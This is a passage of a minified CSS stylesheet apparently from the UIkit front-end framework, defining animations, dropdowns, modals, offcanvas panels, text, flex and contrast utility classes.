screen{[data-uk-scrollspy*=uk-animation-]:not([data-uk-scrollspy*=target]){opacity:0}}.uk-animation-fade{-webkit-animation-name:uk-fade;animation-name:uk-fade;-webkit-animation-duration:.8s;animation-duration:.8s;-webkit-animation-timing-function:linear!important;animation-timing-function:linear!important}.uk-animation-scale-up{-webkit-animation-name:uk-fade-scale-02;animation-name:uk-fade-scale-02}.uk-animation-scale-down{-webkit-animation-name:uk-fade-scale-18;animation-name:uk-fade-scale-18}.uk-animation-slide-top{-webkit-animation-name:uk-fade-top;animation-name:uk-fade-top}.uk-animation-slide-bottom{-webkit-animation-name:uk-fade-bottom;animation-name:uk-fade-bottom}.uk-animation-slide-left{-webkit-animation-name:uk-fade-left;animation-name:uk-fade-left}.uk-animation-slide-right{-webkit-animation-name:uk-fade-right;animation-name:uk-fade-right}.uk-animation-scale{-webkit-animation-name:uk-scale-12;animation-name:uk-scale-12}.uk-animation-shake{-webkit-animation-name:uk-shake;animation-name:uk-shake}.uk-animation-reverse{-webkit-animation-direction:reverse;animation-direction:reverse;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}.uk-animation-15{-webkit-animation-duration:15s;animation-duration:15s}.uk-animation-top-left{-webkit-transform-origin:0 0;transform-origin:0 0}.uk-animation-top-center{-webkit-transform-origin:50% 0;transform-origin:50% 0}.uk-animation-top-right{-webkit-transform-origin:100% 0;transform-origin:100% 0}.uk-animation-middle-left{-webkit-transform-origin:0 50%;transform-origin:0 50%}.uk-animation-middle-right{-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.uk-animation-bottom-left{-webkit-transform-origin:0 100%;transform-origin:0 100%}.uk-animation-bottom-center{-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.uk-animation-bottom-right{-webkit-transform-origin:100% 100%;transform-origin:100% 100%}.uk-animation-hover:not(:hover),.uk-animation-hover:not(:hover) [class*=uk-animation-],.uk-touch .uk-animation-hover:not(.uk-hover),.uk-touch .uk-animation-hover:not(.uk-hover) [class*=uk-animation-]{-webkit-animation-name:none;animation-name:none}@-webkit-keyframes uk-fade{0%{opacity:0}100%{opacity:1}}@keyframes uk-fade{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes uk-fade-top{0%{opacity:0;-webkit-transform:translateY(-100%)}100%{opacity:1;-webkit-transform:translateY(0)}}@keyframes uk-fade-top{0%{opacity:0;transform:translateY(-100%)}100%{opacity:1;transform:translateY(0)}}@-webkit-keyframes uk-fade-bottom{0%{opacity:0;-webkit-transform:translateY(100%)}100%{opacity:1;-webkit-transform:translateY(0)}}@keyframes uk-fade-bottom{0%{opacity:0;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}@-webkit-keyframes uk-fade-left{0%{opacity:0;-webkit-transform:translateX(-100%)}100%{opacity:1;-webkit-transform:translateX(0)}}@keyframes uk-fade-left{0%{opacity:0;transform:translateX(-100%)}100%{opacity:1;transform:translateX(0)}}@-webkit-keyframes uk-fade-right{0%{opacity:0;-webkit-transform:translateX(100%)}100%{opacity:1;-webkit-transform:translateX(0)}}@keyframes uk-fade-right{0%{opacity:0;transform:translateX(100%)}100%{opacity:1;transform:translateX(0)}}@-webkit-keyframes uk-fade-scale-02{0%{opacity:0;-webkit-transform:scale(.2)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes uk-fade-scale-02{0%{opacity:0;transform:scale(.2)}100%{opacity:1;transform:scale(1)}}@-webkit-keyframes uk-fade-scale-15{0%{opacity:0;-webkit-transform:scale(1.5)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes uk-fade-scale-15{0%{opacity:0;transform:scale(1.5)}100%{opacity:1;transform:scale(1)}}@-webkit-keyframes uk-fade-scale-18{0%{opacity:0;-webkit-transform:scale(1.8)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes uk-fade-scale-18{0%{opacity:0;transform:scale(1.8)}100%{opacity:1;transform:scale(1)}}@-webkit-keyframes uk-slide-left{0%{-webkit-transform:translateX(-100%)}100%{-webkit-transform:translateX(0)}}@keyframes uk-slide-left{0%{transform:translateX(-100%)}100%{transform:translateX(0)}}@-webkit-keyframes uk-slide-right{0%{-webkit-transform:translateX(100%)}100%{-webkit-transform:translateX(0)}}@keyframes uk-slide-right{0%{transform:translateX(100%)}100%{transform:translateX(0)}}@-webkit-keyframes uk-slide-left-33{0%{-webkit-transform:translateX(33%)}100%{-webkit-transform:translateX(0)}}@keyframes uk-slide-left-33{0%{transform:translateX(33%)}100%{transform:translateX(0)}}@-webkit-keyframes uk-slide-right-33{0%{-webkit-transform:translateX(-33%)}100%{-webkit-transform:translateX(0)}}@keyframes uk-slide-right-33{0%{transform:translateX(-33%)}100%{transform:translateX(0)}}@-webkit-keyframes uk-scale-12{0%{-webkit-transform:scale(1.2)}100%{-webkit-transform:scale(1)}}@keyframes uk-scale-12{0%{transform:scale(1.2)}100%{transform:scale(1)}}@-webkit-keyframes uk-rotate{0%{-webkit-transform:rotate(0)}100%{-webkit-transform:rotate(359deg)}}@keyframes uk-rotate{0%{transform:rotate(0)}100%{transform:rotate(359deg)}}@-webkit-keyframes uk-shake{0%,100%{-webkit-transform:translateX(0)}10%{-webkit-transform:translateX(-9px)}20%{-webkit-transform:translateX(8px)}30%{-webkit-transform:translateX(-7px)}40%{-webkit-transform:translateX(6px)}50%{-webkit-transform:translateX(-5px)}60%{-webkit-transform:translateX(4px)}70%{-webkit-transform:translateX(-3px)}80%{-webkit-transform:translateX(2px)}90%{-webkit-transform:translateX(-1px)}}@keyframes uk-shake{0%,100%{transform:translateX(0)}10%{transform:translateX(-9px)}20%{transform:translateX(8px)}30%{transform:translateX(-7px)}40%{transform:translateX(6px)}50%{transform:translateX(-5px)}60%{transform:translateX(4px)}70%{transform:translateX(-3px)}80%{transform:translateX(2px)}90%{transform:translateX(-1px)}}@-webkit-keyframes uk-slide-top-fixed{0%{opacity:0;-webkit-transform:translateY(-10px)}100%{opacity:1;-webkit-transform:translateY(0)}}@keyframes uk-slide-top-fixed{0%{opacity:0;transform:translateY(-10px)}100%{opacity:1;transform:translateY(0)}}@-webkit-keyframes uk-slide-bottom-fixed{0%{opacity:0;-webkit-transform:translateY(10px)}100%{opacity:1;-webkit-transform:translateY(0)}}@keyframes uk-slide-bottom-fixed{0%{opacity:0;transform:translateY(10px)}100%{opacity:1;transform:translateY(0)}}.uk-dropdown,.uk-dropdown-blank{display:none;position:absolute;z-index:1020;box-sizing:border-box;width:200px}.uk-dropdown{padding:15px;background:#fff;color:#444;font-size:1rem;vertical-align:top;border:1px solid #ddd;border-radius:2px}.uk-dropdown:focus{outline:0}.uk-open>.uk-dropdown,.uk-open>.uk-dropdown-blank{display:block;-webkit-animation:uk-fade .2s ease-in-out;animation:uk-fade .2s ease-in-out;-webkit-transform-origin:0 0;transform-origin:0 0}.uk-dropdown-top{margin-top:-5px}.uk-dropdown-bottom{margin-top:5px}.uk-dropdown-left{margin-left:-5px}.uk-dropdown-right{margin-left:5px}.uk-dropdown .uk-nav{margin:0 -15px}.uk-dropdown-grid>[class*=uk-width-]>.uk-panel+.uk-panel,.uk-dropdown-stack>.uk-dropdown-grid>[class*=uk-width-]:nth-child(n+2),.uk-grid .uk-dropdown-grid+.uk-dropdown-grid{margin-top:15px}@media (min-width:768px){.uk-dropdown:not(.uk-dropdown-stack)>.uk-dropdown-grid{margin-left:-15px;margin-right:-15px}.uk-dropdown:not(.uk-dropdown-stack)>.uk-dropdown-grid>[class*=uk-width-]{padding-left:15px;padding-right:15px}.uk-dropdown:not(.uk-dropdown-stack)>.uk-dropdown-grid>[class*=uk-width-]:nth-child(n+2){border-left:1px solid #ddd}.uk-dropdown-width-2:not(.uk-dropdown-stack){width:400px}.uk-dropdown-width-3:not(.uk-dropdown-stack){width:600px}.uk-dropdown-width-4:not(.uk-dropdown-stack){width:800px}.uk-dropdown-width-5:not(.uk-dropdown-stack){width:1000px}}@media (max-width:767px){.uk-dropdown-grid>[class*=uk-width-]{width:100%}.uk-dropdown-grid>[class*=uk-width-]:nth-child(n+2){margin-top:15px}}.uk-dropdown-stack>.uk-dropdown-grid>[class*=uk-width-]{width:100%}.uk-dropdown-small{min-width:150px;width:auto;padding:5px}.uk-dropdown-small .uk-nav{margin:0 -5px}.uk-dropdown-navbar{margin-top:6px;background:#fff;color:#444;left:-1px}.uk-open>.uk-dropdown-navbar{-webkit-animation:uk-slide-top-fixed .2s ease-in-out;animation:uk-slide-top-fixed .2s ease-in-out}.uk-dropdown-scrollable{overflow-y:auto;max-height:200px}.uk-dropdown-navbar.uk-dropdown-flip{left:auto}.uk-modal{display:none;position:fixed;top:0;right:0;bottom:0;left:0;z-index:1010;overflow-y:auto;-webkit-overflow-scrolling:touch;background:rgba(0,0,0,.6);opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear;touch-action:cross-slide-y pinch-zoom double-tap-zoom}.uk-modal.uk-open{opacity:1}.uk-modal-page,.uk-modal-page body{overflow:hidden}.uk-modal-dialog{position:relative;margin:50px auto;padding:20px;width:600px;max-width:100%;max-width:calc(100% - 20px);background:#fff;opacity:0;-webkit-transform:translateY(-100px);transform:translateY(-100px);-webkit-transition:opacity .3s linear,-webkit-transform .3s ease-out;transition:opacity .3s linear,transform .3s ease-out;border-radius:2px;box-shadow:0 0 10px rgba(0,0,0,.3)}@media (max-width:767px){.uk-modal-dialog{width:auto;margin:10px auto}}.uk-open .uk-modal-dialog{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}.uk-modal-dialog>:not([class*=uk-modal-]):last-child{margin-bottom:0}.uk-modal-dialog>.uk-close:first-child{margin:-10px -10px 0 0;float:right}.uk-modal-dialog>.uk-close:first-child+:not([class*=uk-modal-]){margin-top:0}.uk-modal-dialog-lightbox{margin:15px auto;padding:0;max-width:95%;max-width:calc(100% - 30px);min-height:50px;border-radius:0}.uk-modal-dialog-lightbox>.uk-close:first-child{position:absolute;top:-12px;right:-12px;margin:0;float:none}@media (max-width:767px){.uk-modal-dialog-lightbox>.uk-close:first-child{top:-7px;right:-7px}}.uk-modal-dialog-blank{margin:0;padding:0;width:100%;max-width:100%;-webkit-transition:opacity .3s linear;transition:opacity .3s linear}.uk-modal-dialog-blank>.uk-close:first-child{position:absolute;top:20px;right:20px;z-index:1;margin:0;float:none}@media (min-width:768px){.uk-modal-dialog-large{width:930px}}@media (min-width:1220px){.uk-modal-dialog-large{width:1130px}}.uk-modal-header{margin:-20px -20px 15px;padding:20px;border-bottom:1px solid #ddd;border-radius:2px 2px 0 0;background:#fafafa}.uk-modal-footer{margin:15px -20px -20px;padding:20px;border-top:1px solid #ddd;border-radius:0 0 2px 2px;background:#fafafa}.uk-modal-footer>:last-child,.uk-modal-header>:last-child{margin-bottom:0}.uk-modal-caption{position:absolute;left:0;right:0;bottom:-20px;margin-bottom:-10px;color:#fff;text-align:center;overflow:hidden;text-overflow:ellipsis}.uk-modal-spinner{position:absolute;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);font-size:25px;color:#ddd}.uk-offcanvas,.uk-offcanvas-bar{position:fixed;left:0;top:0;bottom:0}.uk-modal-spinner:after{content:"\f110";display:block;font-family:FontAwesome;-webkit-animation:uk-rotate 2s infinite linear;animation:uk-rotate 2s infinite linear}.uk-clearfix:after,.uk-clearfix:before,.uk-container:after,.uk-container:before,.uk-offcanvas-bar:after{content:""}.uk-offcanvas{display:none;right:0;z-index:1000;touch-action:none;background:rgba(0,0,0,.1)}.uk-offcanvas.uk-active{display:block}.uk-offcanvas-page{position:fixed;-webkit-transition:margin-left .3s ease-in-out;transition:margin-left .3s ease-in-out;margin-left:0}.uk-offcanvas-bar{-webkit-transform:translateX(-100%);transform:translateX(-100%);z-index:1001;width:270px;max-width:100%;background:#333;overflow-y:auto;-webkit-overflow-scrolling:touch;-webkit-transition:-webkit-transform .3s ease-in-out;transition:transform .3s ease-in-out;-ms-scroll-chaining:none}.uk-offcanvas-bar-flip:after,.uk-offcanvas-bar:after{width:1px;background:rgba(0,0,0,.6);box-shadow:0 0 5px 2px rgba(0,0,0,.6)}.uk-offcanvas.uk-active .uk-offcanvas-bar.uk-offcanvas-bar-show{-webkit-transform:translateX(0);transform:translateX(0)}.uk-offcanvas-bar-flip{left:auto;right:0;-webkit-transform:translateX(100%);transform:translateX(100%)}.uk-offcanvas-bar[mode=none]{-webkit-transition:none;transition:none}.uk-offcanvas-bar[mode=reveal]{-webkit-transform:translateX(0);transform:translateX(0);clip:rect(0,0,100vh,0);-webkit-transition:-webkit-transform .3s ease-in-out,clip .3s ease-in-out;transition:transform .3s ease-in-out,clip .3s ease-in-out}.uk-offcanvas-bar-flip[mode=reveal]{clip:none;-webkit-transform:translateX(100%);transform:translateX(100%)}.uk-offcanvas-bar-flip[mode=reveal]>*{-webkit-transform:translateX(-100%);transform:translateX(-100%);-webkit-transition:-webkit-transform .3s ease-in-out;transition:transform .3s ease-in-out}.uk-offcanvas.uk-active .uk-offcanvas-bar-flip[mode=reveal].uk-offcanvas-bar-show>*{-webkit-transform:translateX(0);transform:translateX(0)}.uk-offcanvas .uk-panel{margin:20px 15px;color:#777;text-shadow:0 1px 0 rgba(0,0,0,.5)}.uk-offcanvas .uk-panel a:not([class]),.uk-offcanvas .uk-panel-title{color:#ccc}.uk-offcanvas .uk-panel a:not([class]):hover{color:#fff}.uk-offcanvas-bar:after{display:block;position:absolute;top:0;bottom:0;right:0}.uk-offcanvas-bar-flip:after{right:auto;left:0}.uk-switcher{margin:0;padding:0;list-style:none;touch-action:cross-slide-y pinch-zoom double-tap-zoom}.uk-switcher>:not(.uk-active){display:none}.uk-text-small{font-size:9px;line-height:13px}.uk-text-large{font-size:15px;line-height:20px;font-weight:400}.uk-text-bold{font-weight:700}.uk-text-muted{color:#999!important}.uk-text-primary{color:#337ab7!important}.uk-text-success{color:#5cb85c!important}.uk-text-warning{color:#f0ad4e!important}.uk-text-danger{color:#d9534f!important}.uk-text-contrast{color:#fff!important}.uk-text-left{text-align:left!important}.uk-text-right{text-align:right!important}.uk-text-center{text-align:center!important}.uk-text-justify{text-align:justify!important}.uk-text-top{vertical-align:top!important}.uk-text-middle{vertical-align:middle!important}.uk-text-bottom{vertical-align:bottom!important}@media (max-width:959px){.uk-text-center-medium{text-align:center!important}.uk-text-left-medium{text-align:left!important}}@media (max-width:767px){.uk-text-center-small{text-align:center!important}.uk-text-left-small{text-align:left!important}}.uk-text-truncate{overflow:hidden;text-overflow:ellipsis}.uk-text-break{word-wrap:break-word;-webkit-hyphens:auto;-ms-hyphens:auto;-moz-hyphens:auto;hyphens:auto}.uk-text-capitalize{text-transform:capitalize!important}.uk-text-lowercase{text-transform:lowercase!important}.uk-text-uppercase{text-transform:uppercase!important}.uk-container{max-width:980px;padding:0 25px}@media (min-width:1220px){.uk-container{max-width:1200px;padding:0 35px}}.uk-container:after,.uk-container:before{display:table}.uk-container-center{margin-left:auto;margin-right:auto}.uk-clearfix:before{display:table-cell}.uk-clearfix:after{display:table}.uk-nbfc{overflow:hidden}.uk-nbfc-alt{display:table-cell;width:10000px}.uk-float-left{float:left}.uk-float-right{float:right}[class*=uk-float-]{max-width:100%}[class*=uk-align-]{display:block;margin-bottom:15px}.uk-align-left{margin-right:15px;float:left}.uk-align-right{margin-left:15px;float:right}@media (min-width:768px){.uk-align-medium-left{margin-right:15px;float:left}.uk-align-medium-right{margin-left:15px;float:right}}.uk-align-center{margin-left:auto;margin-right:auto}.uk-vertical-align{font-size:0}.uk-vertical-align:before{content:'';display:inline-block;height:100%;vertical-align:middle}.uk-vertical-align-bottom,.uk-vertical-align-middle{display:inline-block;max-width:100%;font-size:1rem}.uk-vertical-align-middle{vertical-align:middle}.uk-vertical-align-bottom{vertical-align:bottom}.uk-autocomplete,.uk-form-file,.uk-form-select,.uk-search-field{vertical-align:middle}.uk-height-1-1{height:100%}.uk-height-viewport{height:100vh;min-height:600px}.uk-responsive-width{max-width:100%!important;height:auto}.uk-responsive-height{max-height:100%;width:auto}.uk-margin{margin-bottom:15px}*+.uk-margin{margin-top:15px}.uk-margin-top{margin-top:15px!important}.uk-margin-bottom{margin-bottom:15px!important}.uk-margin-left{margin-left:15px!important}.uk-margin-right{margin-right:15px!important}.uk-margin-large{margin-bottom:50px}*+.uk-margin-large{margin-top:50px}.uk-margin-large-top{margin-top:50px!important}.uk-margin-large-bottom{margin-bottom:50px!important}.uk-margin-large-left{margin-left:50px!important}.uk-margin-large-right{margin-right:50px!important}.uk-margin-small{margin-bottom:5px}*+.uk-margin-small{margin-top:5px}.uk-margin-small-top{margin-top:5px!important}.uk-margin-small-bottom{margin-bottom:5px!important}.uk-margin-small-left{margin-left:5px!important}.uk-margin-small-right{margin-right:5px!important}.uk-margin-remove{margin:0!important}.uk-margin-top-remove{margin-top:0!important}.uk-margin-bottom-remove{margin-bottom:0!important}.uk-overflow-container>:last-child,.uk-scrollable-box>:last-child{margin-bottom:0}.uk-padding-remove{padding:0!important}.uk-padding-top-remove{padding-top:0!important}.uk-padding-bottom-remove{padding-bottom:0!important}.uk-padding-vertical-remove{padding-top:0!important;padding-bottom:0!important}.uk-border-circle{border-radius:50%}.uk-border-rounded{border-radius:5px}.uk-heading-large{font-size:31px;line-height:36px}@media (min-width:768px){.uk-heading-large{font-size:45px;line-height:55px}}.uk-link-muted,.uk-link-muted a,.uk-link-muted a:hover,.uk-link-muted:hover{color:#444}.uk-link-reset,.uk-link-reset a,.uk-link-reset a:focus,.uk-link-reset a:hover,.uk-link-reset:focus,.uk-link-reset:hover{color:inherit;text-decoration:none}.uk-scrollable-text{height:300px;overflow-y:scroll;-webkit-overflow-scrolling:touch;resize:both}.uk-scrollable-box{height:170px;padding:10px;border:1px solid #ddd;overflow:auto;-webkit-overflow-scrolling:touch;resize:both;border-radius:3px}.uk-contrast .uk-list-line>li:nth-child(n+2),.uk-contrast .uk-nav-side .uk-nav-divider,.uk-contrast .uk-tab-grid:before,.uk-contrast hr{border-top-color:rgba(255,255,255,.2)}.uk-overflow-hidden{overflow:hidden}.uk-overflow-container{overflow:auto;-webkit-overflow-scrolling:touch}.uk-position-absolute,[class*=uk-position-top],[class*=uk-position-bottom]{position:absolute!important}.uk-position-top{top:0;left:0;right:0}.uk-position-bottom{bottom:0;left:0;right:0}.uk-position-top-left{top:0;left:0}.uk-position-top-right{top:0;right:0}.uk-position-bottom-left{bottom:0;left:0}.uk-position-bottom-right{bottom:0;right:0}.uk-position-cover{position:absolute;top:0;bottom:0;left:0;right:0}.uk-position-relative{position:relative!important}.uk-position-z-index{z-index:1}.uk-display-block{display:block!important}.uk-display-inline{display:inline!important}.uk-display-inline-block{display:inline-block!important;max-width:100%}@media (min-width:960px){.uk-hidden-large,.uk-visible-medium,.uk-visible-small{display:none!important}}@media (min-width:768px) and (max-width:959px){.uk-hidden-medium,.uk-visible-large,.uk-visible-small{display:none!important}}@media (max-width:767px){.uk-hidden-small,.uk-visible-large,.uk-visible-medium{display:none!important}}.uk-hidden{display:none!important;visibility:hidden!important}.uk-invisible{visibility:hidden!important}.uk-visible-hover:hover .uk-hidden,.uk-visible-hover:hover .uk-invisible{display:block!important;visibility:visible!important}.uk-visible-hover-inline:hover .uk-hidden,.uk-visible-hover-inline:hover .uk-invisible{display:inline-block!important;visibility:visible!important}.uk-notouch .uk-hidden-notouch,.uk-touch .uk-hidden-touch{display:none!important}.uk-flex{display:-ms-flexbox;display:-webkit-flex;display:flex}.uk-flex-inline{display:-ms-inline-flexbox;display:-webkit-inline-flex;display:inline-flex}.uk-flex-inline>*,.uk-flex>*{-ms-flex-negative:1}.uk-flex-top{-ms-flex-align:start;-webkit-align-items:flex-start;align-items:flex-start}.uk-flex-middle{-ms-flex-align:center;-webkit-align-items:center;align-items:center}.uk-flex-bottom{-ms-flex-align:end;-webkit-align-items:flex-end;align-items:flex-end}.uk-flex-center{-ms-flex-pack:center;-webkit-justify-content:center;justify-content:center}.uk-flex-right{-ms-flex-pack:end;-webkit-justify-content:flex-end;justify-content:flex-end}.uk-flex-space-between{-ms-flex-pack:justify;-webkit-justify-content:space-between;justify-content:space-between}.uk-flex-space-around{-ms-flex-pack:distribute;-webkit-justify-content:space-around;justify-content:space-around}.uk-flex-row-reverse{-ms-flex-direction:row-reverse;-webkit-flex-direction:row-reverse;flex-direction:row-reverse}.uk-flex-column{-ms-flex-direction:column;-webkit-flex-direction:column;flex-direction:column}.uk-flex-column-reverse{-ms-flex-direction:column-reverse;-webkit-flex-direction:column-reverse;flex-direction:column-reverse}.uk-flex-nowrap{-ms-flex-wrap:nowrap;-webkit-flex-wrap:nowrap;flex-wrap:nowrap}.uk-flex-wrap{-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap}.uk-flex-wrap-reverse{-ms-flex-wrap:wrap-reverse;-webkit-flex-wrap:wrap-reverse;flex-wrap:wrap-reverse}.uk-flex-wrap-top{-ms-flex-line-pack:start;-webkit-align-content:flex-start;align-content:flex-start}.uk-flex-wrap-middle{-ms-flex-line-pack:center;-webkit-align-content:center;align-content:center}.uk-flex-wrap-bottom{-ms-flex-line-pack:end;-webkit-align-content:flex-end;align-content:flex-end}.uk-flex-wrap-space-between{-ms-flex-line-pack:justify;-webkit-align-content:space-between;align-content:space-between}.uk-flex-wrap-space-around{-ms-flex-line-pack:distribute;-webkit-align-content:space-around;align-content:space-around}.uk-flex-order-first{-ms-flex-order:-1;-webkit-order:-1;order:-1}.uk-flex-order-last{-ms-flex-order:99;-webkit-order:99;order:99}@media (min-width:480px){.uk-flex-order-first-small{-ms-flex-order:-1;-webkit-order:-1;order:-1}.uk-flex-order-last-small{-ms-flex-order:99;-webkit-order:99;order:99}}@media (min-width:768px){.uk-flex-order-first-medium{-ms-flex-order:-1;-webkit-order:-1;order:-1}.uk-flex-order-last-medium{-ms-flex-order:99;-webkit-order:99;order:99}}@media (min-width:960px){.uk-flex-order-first-large{-ms-flex-order:-1;-webkit-order:-1;order:-1}.uk-flex-order-last-large{-ms-flex-order:99;-webkit-order:99;order:99}}@media (min-width:1220px){.uk-flex-order-first-xlarge{-ms-flex-order:-1;-webkit-order:-1;order:-1}.uk-flex-order-last-xlarge{-ms-flex-order:99;-webkit-order:99;order:99}}.uk-flex-item-none{-ms-flex:none;-webkit-flex:none;flex:none}.uk-flex-item-auto{-ms-flex:auto;-webkit-flex:auto;flex:auto;-ms-flex-negative:1}.uk-flex-item-1{-ms-flex:1;-webkit-flex:1;flex:1}.uk-contrast{color:#fff}.uk-contrast .uk-link,.uk-contrast a:not([class]){color:rgba(255,255,255,.7);text-decoration:none}.uk-contrast .uk-link:hover,.uk-contrast a:not([class]):hover{color:#fff;text-decoration:underline}.uk-contrast :not(pre)>code,.uk-contrast :not(pre)>kbd,.uk-contrast :not(pre)>samp{color:#fff;border-color:rgba(255,255,255,.2);background:rgba(255,255,255,.1)}.uk-contrast em,.uk-contrast h1,.uk-contrast h2,.uk-contrast h3,.uk-contrast h4,.uk-contrast h5,.uk-contrast h6{color:#fff}.uk-contrast .uk-nav li>a,.uk-contrast .uk-nav li>a:hover{text-decoration:none}.uk-contrast .uk-nav-side>li>a{color:#fff}.uk-contrast .uk-nav-side>li>a:focus,.uk-contrast .uk-nav-side>li>a:hover{background:rgba(255,255,255,.1);color:#fff;text-shadow:none}.uk-contrast .uk-nav-side>li.uk-active>a{background:#fff;color:#444;text-shadow:none}.uk-contrast .uk-nav-side .uk-nav-header{color:#fff}.uk-contrast .uk-nav-side ul a{color:rgba(255,255,255,.7)}.uk-contrast .uk-nav-side ul a:hover{color:#fff}.uk-contrast .uk-subnav>*>a{color:rgba(255,255,255,.7);text-decoration:none}.uk-contrast .uk-subnav>*>a:focus,.uk-contrast .uk-subnav>*>a:hover{color:#fff;text-decoration:none}.uk-contrast .uk-subnav>.uk-active>a{color:#fff}.uk-contrast .uk-subnav-line>:nth-child(n+2):before{border-left-color:rgba(255,255,255,.2)}.uk-contrast .uk-subnav-pill>*>a:focus,.uk-contrast .uk-subnav-pill>*>a:hover{background:rgba(255,255,255,.7);color:#444;text-decoration:none}.uk-contrast .uk-subnav-pill>.uk-active>a{background:#fff;color:#444}.uk-contrast .uk-tab{border-bottom-color:rgba(255,255,255,.2)}.uk-contrast .uk-tab>li>a{border-color:transparent;color:rgba(255,255,255,.7);text-shadow:none}.uk-contrast .uk-tab>li.uk-open>a,.uk-contrast .uk-tab>li>a:focus,.uk-contrast .uk-tab>li>a:hover{border-color:rgba(255,255,255,.7);background:rgba(255,255,255,.7);color:#444;text-decoration:none}.uk-contrast .uk-tab>li.uk-active>a{border-color:rgba(255,255,255,.2);border-bottom-color:transparent;background:#fff;color:#444}.uk-contrast .uk-tab-center{border-bottom-color:rgba(255,255,255,.2)}.uk-contrast .uk-form input:not([type]),.uk-contrast .uk-form input[type=text],.uk-contrast .uk-form input[type=password],.uk-contrast .uk-form input[type=email],.uk-contrast .uk-form input[type=url],.uk-contrast .uk-form input[type=search],.uk-contrast .uk-form input[type=tel],.uk-contrast .uk-form input[type=number],.uk-contrast .uk-form input[type=datetime],.uk-contrast .uk-form input[type=datetime-local],.uk-contrast .uk-form input[type=date],.uk-contrast .uk-form input[type=month],.uk-contrast .uk-form input[type=time],.uk-contrast .uk-form input[type=week],.uk-contrast .uk-form input[type=color],.uk-contrast .uk-form select,.uk-contrast .uk-form textarea{border-color:rgba(255,255,255,.8);background:rgba(255,255,255,.8);color:#444;background-clip:padding-box}.uk-contrast .uk-form input:not([type]):focus,.uk-contrast .uk-form input[type=text]:focus,.uk-contrast .uk-form input[type=password]:focus,.uk-contrast .uk-form input[type=email]:focus,.uk-contrast .uk-form input[type=url]:focus,.uk-contrast .uk-form input[type=search]:focus,.uk-contrast .uk-form input[type=tel]:focus,.uk-contrast .uk-form input[type=number]:focus,.uk-contrast .uk-form input[type=datetime]:focus,.uk-contrast .uk-form input[type=datetime-local]:focus,.uk-contrast .uk-form input[type=date]:focus,.uk-contrast .uk-form input[type=month]:focus,.uk-contrast .uk-form input[type=time]:focus,.uk-contrast .uk-form input[type=week]:focus,.uk-contrast .uk-form input[type=color]:focus,.uk-contrast .uk-form select:focus,.uk-contrast .uk-form textarea:focus{border-color:#fff;background:#fff;color:#444}.uk-contrast .uk-form :-ms-input-placeholder{color:rgba(68,68,68,.7)!important}.uk-contrast .uk-form ::-moz-placeholder{color:rgba(68,68,68,.7)}.uk-contrast .uk-form ::-webkit-input-placeholder{color:rgba(68,68,68,.7)}.uk-contrast .uk-button{color:#444;background:#fff;border-color:transparent}.uk-contrast .uk-button:focus,.uk-contrast .uk-button:hover{background-color:rgba(255,255,255,.8);color:#444;border-color:transparent}.uk-contrast .uk-button.uk-active,.uk-contrast .uk-button:active{background-color:rgba(255,255,255,.7);color:#444}.uk-contrast .uk-button-primary{background-color:#337ab7;color:#fff}.uk-contrast .uk-button-primary:focus,.uk-contrast .uk-button-primary:hover{background-color:#286090;color:#fff}.uk-contrast .uk-button-primary.uk-active,.uk-contrast .uk-button-primary:active{background-color:#0091ca;color:#fff}.uk-contrast .uk-icon-hover{color:rgba(255,255,255,.7)}.uk-contrast .uk-icon-hover:hover{color:#fff}.uk-contrast .uk-icon-button{background:#fff;color:#444;border-color:transparent}.uk-contrast .uk-icon-button:focus,.uk-contrast .uk-icon-button:hover{background-color:rgba(255,255,255,.8);color:#444;border-color:transparent}.uk-contrast .uk-icon-button:active{background-color:rgba(255,255,255,.7);color:#444}.uk-contrast .uk-text-muted{color:rgba(255,255,255,.6)!important}.uk-contrast .uk-text-primary{color:#337ab7!important}@media print{blockquote,img,pre,tr{page-break-inside:avoid}*,:after,:before{background:0 0!important;color:#000!important;box-shadow:none!important;text-shadow:none!important}a,a:visited{text-decoration:underline}blockquote,pre{border:1px solid #999}thead{display:table-header-group}img{max-width:100%!important}@page{margin:.5cm}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}}.uk-dotnav{display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap;margin-left:-15px;margin-top:-15px;padding:0;list-style:none}.uk-dotnav>*{-ms-flex:none;-webkit-flex:none;flex:none;padding-left:15px;margin-top:15px;float:left}.uk-dotnav:after,.uk-dotnav:before{content:"";display:block;overflow:hidden}.uk-dotnav>*>*{display:block;box-sizing:content-box;width:20px;height:20px;border-radius:50%;background:rgba(50,50,50,.1);text-indent:100%;overflow:hidden;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.uk-htmleditor .CodeMirror,.uk-htmleditor-code,.uk-htmleditor-preview,.uk-notify,.uk-progress,.uk-search-field,.uk-slidenav,.uk-tooltip,[data-uk-sticky].uk-active{box-sizing:border-box}.uk-dotnav>*>:focus,.uk-dotnav>*>:hover{background:rgba(50,50,50,.4);outline:0}.uk-dotnav>*>:active{background:rgba(50,50,50,.6)}.uk-dotnav>.uk-active>*{background:rgba(50,50,50,.4);-webkit-transform:scale(1.3);transform:scale(1.3)}.uk-dotnav-contrast>*>*{background:rgba(255,255,255,.4)}.uk-dotnav-contrast>*>:focus,.uk-dotnav-contrast>*>:hover{background:rgba(255,255,255,.7)}.uk-dotnav-contrast>*>:active,.uk-dotnav-contrast>.uk-active>*{background:rgba(255,255,255,.9)}.uk-dotnav-vertical{-ms-flex-direction:column;-webkit-flex-direction:column;flex-direction:column}.uk-dotnav-vertical>*{float:none}.uk-slidenav{display:inline-block;width:60px;height:60px;line-height:60px;color:rgba(50,50,50,.4);font-size:60px;text-align:center}.uk-slidenav:focus,.uk-slidenav:hover{outline:0;text-decoration:none;color:rgba(50,50,50,.7);cursor:pointer}.uk-slidenav:active{color:rgba(50,50,50,.9)}.uk-slidenav-previous:before{content:"\f104";font-family:F